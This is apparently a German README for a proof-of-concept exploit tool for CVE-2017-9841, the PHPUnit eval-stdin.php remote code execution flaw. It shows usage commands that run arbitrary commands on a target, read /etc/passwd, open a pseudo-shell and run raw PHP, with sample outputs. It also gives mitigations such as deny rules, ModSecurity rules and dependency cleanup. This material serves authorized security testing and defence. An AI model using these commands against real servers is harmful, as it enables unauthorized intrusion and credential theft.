
CVE-2017-9841 ist eine Remote Code Execution (RCE)-Schwachstelle in der PHPUnit-Bibliothek, die Versionen vor 5.6.3 und 6.x vor 6.4.2 betrifft.
⚠️ HAFTUNGSAUSSCHLUSS: Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests gedacht. Die unbefugte Verwendung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben, ist rechtswidrig. Der Autor übernimmt keinerlei Haftung für Missbrauch dieses Tools.
CVE-2017-9841 ist eine Remote-Code-Execution-Schwachstelle (RCE) in der Bibliothek PHPUnit, die Versionen vor 5.6.3 sowie 6.x vor 6.4.2 betrifft.
Die Schwachstelle befindet sich in der Datei src/Util/PHP/eval-stdin.php, die per php://input (POST-Body) empfangenen PHP-Code mithilfe der Funktion eval() ausführt. Wenn diese Datei öffentlich zugänglich ist (z. B. innerhalb eines ungeschützten vendor/-Verzeichnisses), kann ein Angreifer ohne Authentifizierung beliebigen PHP-Code auf dem Server ausführen.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2017-9841 |
| CVSS-Score | 9.8 (Kritisch) |
| Betroffen | PHPUnit < 5.6.3, 6.x < 6.4.2 |
| Typ | Remote Code Execution (RCE) |
| Authentifizierung | Nicht erforderlich |
| Vektor | Netzwerk (remote) |
| Veröffentlicht | 27. Juni 2017 |
| Referenz | NVD |
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));
Diese Datei akzeptiert PHP-Code aus dem POST-Body und führt ihn sofort über eval() aus – ohne Authentifizierung oder Validierung.
requests-Bibliothekpip install requests
git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py
python3 poc_cve-2017-9841.py -u <URL> [options]
Das -u-Flag akzeptiert sowohl eine Basis-URL (der verwundbare Pfad wird automatisch angehängt) als auch eine vollständige URL, die direkt auf eval-stdin.php zeigt.
python3 poc_cve-2017-9841.py -u 'https://target.com' --check
Ausgabe:
[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841
# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'
# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'
# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'
# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt
python3 poc_cve-2017-9841.py -u 'https://target.com' --info
Ausgabe:
=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS : Linux
SAPI : fpm-fcgi
User : www-data
Hostname : web-server-01
Server IP : 192.168.1.100
CWD : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root : /var/www/html/
Server SW : Apache
Memory Limit: 256M
Max Exec : 30s
Open Basedir: (none)
Disabled Fn : (none)
=== DANGEROUS FUNCTIONS ===
system: YES
exec: YES
passthru: YES
shell_exec: YES
proc_open: YES
popen: YES
curl_exec: YES
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell
Ausgabe:
[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root root 4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--path '/custom/path/eval-stdin.php' -c 'whoami'
python3 poc_cve-2017-9841.py \
-u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
-c 'whoami'
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--php '<?php phpinfo(); ?>'
| Flag | Beschreibung |
|---|---|
-u, --url URL | Ziel-Basis-URL oder vollständige URL zu eval-stdin.php |
-c, --cmd CMD | CLI-Befehl, der auf dem Zielserver ausgeführt werden soll |
--check | Prüft, ob das Ziel verwundbar ist, ohne Befehle auszuführen |
--shell | Öffnet eine pseudo-interaktive Shell |
--info | Sammelt Serverinformationen (schreibgeschützt) |
--find-path | Durchsucht gängige Pfade, um eval-stdin.php zu finden |
--path PATH | Gibt einen benutzerdefinierten Pfad zu eval-stdin.php an |
--timeout N | Request-Timeout in Sekunden (Standard: 30) |
-o, --output FILE | Speichert die Befehlsausgabe in einer Datei |
--php CODE | Führt rohen PHP-Code anstelle von Systembefehlen aus |
sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Fügen Sie eine .htaccess-Datei im vendor/-Verzeichnis hinzu:
# /path/to/project/vendor/.htaccess
Deny from all
Oder konfigurieren Sie es in Ihrem Apache-VirtualHost:
<Directory "/path/to/project/vendor">
Require all denied
</Directory>
Für Nginx:
location /vendor/ {
deny all;
return 403;
}
cd /path/to/project
composer install --no-dev --optimize-autoloader
disable_functions in der php.ini aktivieren; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
open_basedir aktivieren; /etc/php/8.4/fpm/php.ini or in VirtualHost
open_basedir = /var/www/html/project:/tmp
max_execution_time reduzierenmax_execution_time = 30
sudo systemctl restart php8.4-fpm
# or
sudo systemctl restart php-fpm
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit
ModSecurity-Beispiel:
SecRule REQUEST_URI "eval-stdin\.php" \
"id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"
SecRule REQUEST_URI "/vendor/" \
"id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"
# Example: GitHub Actions
- name: Install production dependencies only
run: composer install --no-dev --optimize-autoloader
- name: Remove test files and vulnerable scripts
run: |
rm -rf vendor/phpunit
rm -rf vendor/mockery
rm -rf tests/
find vendor -name "eval-stdin.php" -delete
┌──────────────────────────────┐
│ Attacker │
└──────────────┬───────────────┘
│ POST (PHP code)
▼
┌─────────────────────────────────────────────────────────────┐
│ Apache Server │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php │ │
│ │ │ │
│ │ eval('?>' . file_get_contents('php://input')); │ │
│ │ ▲ │ │
│ └───────────┼───────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Arbitrary Code Execution │ │
│ │ │ │
│ │ - Read/Write files on the server │ │
│ │ - Access database credentials │ │
│ │ - Lateral movement to internal network │ │
│ │ - Install backdoors / webshells │ │
│ │ - Privilege escalation │ │
│ └───────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
Die folgenden Bedingungen erhöhen die Schwere und Ausnutzbarkeit dieser Schwachstelle erheblich:
| Faktor | Auswirkung |
|---|---|
disable_functions ist leer | Alle PHP-Funktionen sind verfügbar (system, exec, usw.) |
open_basedir ist nicht gesetzt | Angreifer kann Dateien im gesamten Dateisystem lesen/schreiben |
Hohes max_execution_time | Angreifer hat pro Anfrage mehr Zeit für komplexe Payloads |
| FFI-Erweiterung geladen | Ermöglicht direkte C-Funktionsaufrufe und umgeht PHP-Einschränkungen |
| Datenbank-Erweiterungen geladen | Direkte Datenbankverbindungen möglich (mysqli, pgsql, usw.) |
| Keine WAF eingesetzt | Keine Anfragefilterung oder -blockierung |
| Kein IDS/IPS vorhanden | Keine Anomalieerkennung oder Alarmierung |
| Dev-Abhängigkeiten in der Produktion | Erweitert die Angriffsfläche unnötig |
Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.